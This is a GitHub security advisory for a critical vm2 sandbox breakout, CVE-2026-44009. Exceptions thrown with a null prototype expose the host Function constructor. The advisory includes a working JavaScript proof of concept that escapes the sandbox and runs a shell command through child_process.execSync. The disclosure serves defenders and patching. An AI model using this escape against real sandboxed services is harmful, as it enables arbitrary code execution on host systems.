patriksimek/vm2 · Security

vm2 has Sandbox Breakout Through Null Proto Exception

GHSA ID
GHSA-9vg3-4rfj-wgcm
CVE ID
CVE-2026-44009
Severity
critical
Published
Updated
CVSS
9.8 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v3
9.8 · CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Description

Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

In handleException due to // SECURITY (post-GHSA-mpf8 hardening): use `from` (not `ensureThis`) exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host Function object.

PoC

const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
const o = {__proto__: null};
try {
	throw o;
} catch (e) {
	e.f = Buffer.prototype.inspect
	o.f.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
}
`));

Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

CWEs

References